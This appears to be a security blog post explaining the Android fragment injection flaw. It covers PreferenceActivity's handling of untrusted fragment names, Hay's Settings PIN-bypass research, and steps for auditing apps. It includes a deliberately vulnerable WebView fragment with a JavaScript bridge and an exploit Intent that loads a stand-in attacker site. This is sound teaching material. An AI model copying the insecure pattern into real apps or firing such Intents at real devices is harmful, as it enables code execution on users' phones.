A colleague asked me about an Android vulnerability called fragment injection because of an article he read [1] and I think its worth diving into the details of the vulnerability. Fragment injection is a classic example of using reflection in an unsafe way (CWE-470) [2]. As in untrusted data from an Intent is used to determine which class is instantiated within the target Android application.

In order to understand fragment injection, we have to review Google’s PreferenceActivity class. The PreferenceActivity class pulls out the EXTRA_SHOW_FRAGMENT extra (:android:show_fragment) and the EXTRA_SHOW_FRAGMENT_ARGUMENTS extra (:android:show_fragment_args) from a received Intent [3].

String initialFragment = getIntent().getStringExtra(EXTRA_SHOW_FRAGMENT);
Bundle initialArguments = getIntent().getBundleExtra(EXTRA_SHOW_FRAGMENT_ARGUMENTS);

Then later calls the Fragment.instantiate function based on the untrusted input.

Fragment f = Fragment.instantiate(this, fragmentName, args);

The Fragment.instantiate function just loads and returns the desired Fragment class [4].

public static Fragment instantiate(Context context, String fname, Bundle args) {
       try {
              Class clazz = sClassMap.get(fname);
              if (clazz == null) {
                     // Class not found in the cache, see if it's real, and try to add it
                     clazz = context.getClassLoader().loadClass(fname);
                     sClassMap.put(fname, clazz);
              }
              Fragment f = (Fragment)clazz.newInstance();
              if (args != null) {
                     args.setClassLoader(f.getClass().getClassLoader());
                     f.mArguments = args;
              }
              return f;

In general, here is how I would recommend identifying fragment injection issues.

  1. Check if any of the exported Activities extend the PreferenceActivity class.
  2. Build a list of potential fragment targets.
  3. For API level 19 and above, review the Activity’s isValidFragment function to determine the list of acceptable fragments to inject.
  4. For all the other API levels, all fragments within the target application are fair game to attack. Note that since the patch is only for 4.4 devices and above, a more conservative approach would involve assuming that all fragments are fair game to attack due to device fragmentation.
  5. Review each fragment that could be injected for Intent based vulnerabilities.

The article has an example of fragment injection based on research by the IBM researcher, Roee Hay, who showed how to bypass the old PIN entry screen normally required in order to change the device’s PIN [5]. The Android Settings application contains an exported com.android.settings.Settings class, which extends the PreferenceActivity class, therefore any fragment can be loaded into the Settings class. The researchers chose to inject the ChooseLockPassword$ChooseLockPasswordFragment class into the Settings class. The ChooseLockPassword$ChooseLockPasswordFragment class accepts a boolean extra named confirm_credentials contained within an Intent that is used by the fragment to determine whether or not the user should be asked to type in their old PIN prior to setting a new PIN. Normally, this fragment would have not been accessible to other applications via Intents because its parent Activity (ChooseLockPassword) is not exported, but due to the fragment injection vulnerability, a malicious application can send an Intent with the confirm_credentials extra set to false that reaches the ChooseLockPassword$ChooseLockPasswordFragment class.

That being said, fragment injection could be used to exploit other types of vulnerabilities besides AuthN issues, such as client-side SQL injection, client-side JavaScript, etc. Consider the following example. Assume that the JunkFragment is only used by another Activity named OtherActivity and this Activity is not exported. JunkFragment uses the Intent sent to its parent Activity to load a URL into a WebView component. In this case, the code injects another Java object into the WebView component via the addJavascriptInterface function, which means that if an attacker can force the WebView to load untrusted content then the attacker can use reflection to instantiate other classes in order to call dangerous functions, such as the Runtime.exec function [6].

public class MainActivity extends PreferenceActivity {
       protected void onCreate(Bundle savedInstanceState) {
              super.onCreate(savedInstanceState);
       }      
}
 
public class JunkFragment extends Fragment {
       public void onCreate (Bundle savedInstanceState) {
              super.onCreate(savedInstanceState);
       }
       public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
              View wv = inflater.inflate(R.layout.frag_other, null);
              WebView myWebView = (WebView) wv.findViewById(R.id.webview);
              myWebView.getSettings().setJavaScriptEnabled(true);
              myWebView.addJavascriptInterface(new SomeOtherClass(), "_abc");
              myWebView.loadUrl(this.getActivity().getIntent().getDataString());
              return wv;
       }      
}

From reviewing the Android manifest file, we can tell that the MainActivity is implicitly exported due to the defined intent filter.

<application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
  <activity
            android:name="com.example.tps2.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity
            android:name="com.example.tps2.OtherActivity">
        </activity>
</application>

In order to exploit this issue, we need to send an Intent to the target Activity, specify the classname of the vulnerable fragment, and include any additional data in the Intent’s URL, or bundle, required to exploit this issue (just a URL in this case that points to a domain that will exploit the JavaScript bridge).

Intent i = new Intent();
i.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
i.setClassName("com.example.tps2", "com.example.tps2.MainActivity");
i.putExtra(":android:show_fragment" , "com.example.tps2.JunkFragment");
i.setData(Uri.parse("http://www.someevilsite.com"));
startActivity(i);  

What makes fragment injection interesting is the fact that Android applications vulnerable to fragment injection have an increased attack surface, since a malicious application on the device can send an Intent to any of the fragments that make up the target application. This allows a malicious application to attack regions of the application via IPC that may lack proper input validation.

[1] - A New Vulnerability in the Android Framework: Fragment Injection

[2] - CWE-470

[3] - Grepcode 1

[4] - Grepcode 2

[5] - ANDROID COLLAPSES INTO FRAGMENTS

[6] - CVE-2012-6636